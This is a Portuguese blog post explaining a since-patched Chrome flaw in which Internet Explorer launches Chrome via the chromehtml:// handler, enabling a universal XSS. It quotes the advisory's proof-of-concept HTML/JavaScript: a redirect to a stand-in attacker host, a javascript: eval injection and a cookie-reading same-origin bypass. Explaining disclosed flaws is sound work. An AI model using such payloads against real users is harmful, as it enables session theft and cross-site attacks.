Ok, peço-lhes desculpas pelo sensacionalismo no título, mas ele é justificavel. O assunto é sério.
Ontem, dia 27 de abril, a equipe IBM Rational Application Security Insider, cujo blog já citei aqui, descobriu uma falha que merece nossa análise. Um usuário navegando com Internet Explorer, ao entrar em um site com o código malicioso (exploit), tem seu Chrome aberto interpretando um java-script ou visitando uma url previamente definida.
Tais exploits podem conter instruções em java-script quaisquer. Um dos exemplos de maior risco apresentado demonstra que é possível burlar a restrição de mesma origem (Same Origin Policy) . Em outras palavras, um XSS universal!
Ele permite também descobrir se determinadas pastas existem ou não no computador do usuário usando uma antiga técnica que é detalhada neste link.
Como ele funciona? Vamos lá.
O chrome ao ser instalado, adiciona no registro do windows um valor que associa chromehtml:// à seu executável.
HKEY_CLASSES_ROOT\ChromeHTML\shell\open\command
Com isto, podemos usar chromehtml:// para chama-lo. Agora vamos ao código de exemplo:
<html>
<script>
document.location = ‘chromehtml:”80 www.attacker.site.com’;
</script>
</html>
Segundo o advisory, o comando destacado acima, ao ser interpretado pelo Internet Explorer, executaria o executável do chrome com os seguintes parâmetros:
“C:\Pasta\do\chrome\chrome.exe” – “chromehtml:”80 www.attacker.site.com”
Isso faria com que o Chrome fosse carregado contendo duas tabs: A primeira tentaria carregar, sem sucesso, a url http://chromehtml . Já a segunda carregaria, com sucesso, http://www.attacker.site.com
O mesmo ocorre com java-scripts sendo passados por javascript:codigo_aqui; no mesmo exploit acima. Um exemplo, descrito pelo advisory, de alert:
<html>
<script>
document.location = ‘chromehtml:”80 javascript:eval(‘alert(\’JavaScript%20Code%20Executed\’); ‘));‘
</script>
</html>
Para burlar a Same Origin Policy o seguite código deve ser passado nos parâmetros acima:
<script>
setTimeout(“alert(document.cookie);“, 2000);
document.location.assign(“http://demo.test.site/“);
</script>
Neste caso, inicialmente seria carregado na aba o site alvo (vermelho) e após o tempo especificado (verde) seria executado o código no mesmo (azul), burlando, assim, a regra de segurança.
Maiores informações, assim como outros exemplos, como o de detecção de pastas no computador alvo, são descritos no advisory, que pode ser baixado aqui (em .doc) .
A equipe do Google Chrome rapidamente lançou uma correção. Maiores detalhes no blog do chrome.
Fonte (mais uma vez, do incrível): IBM Rational Application Security Insider
Sou Gabriel Lima, estudante de análise e desenvolvimento de sistemas, e entusiasta da segurança da informação desde criança. Criei o Falando de Segurança com a intenção de compartilhar conhecimentos da área, através de video-posts demonstrando o uso de ferramentas, discutindo cenários, notícias, etc.
...Leia mais
Muito boa a atenção dada a falha pato. Realmente isso pode dar bastante trabalho para os usuarios, depois de um exploit bem bolado.
Aeee pato ta mtu bom o blog cara, virei leitor…to sempre aqui apesar de não enteder os scripts, mas é bom saber dos bugs de certos arquivos pra evitar de pega-los =)…Parabés rapaz, continua assim >j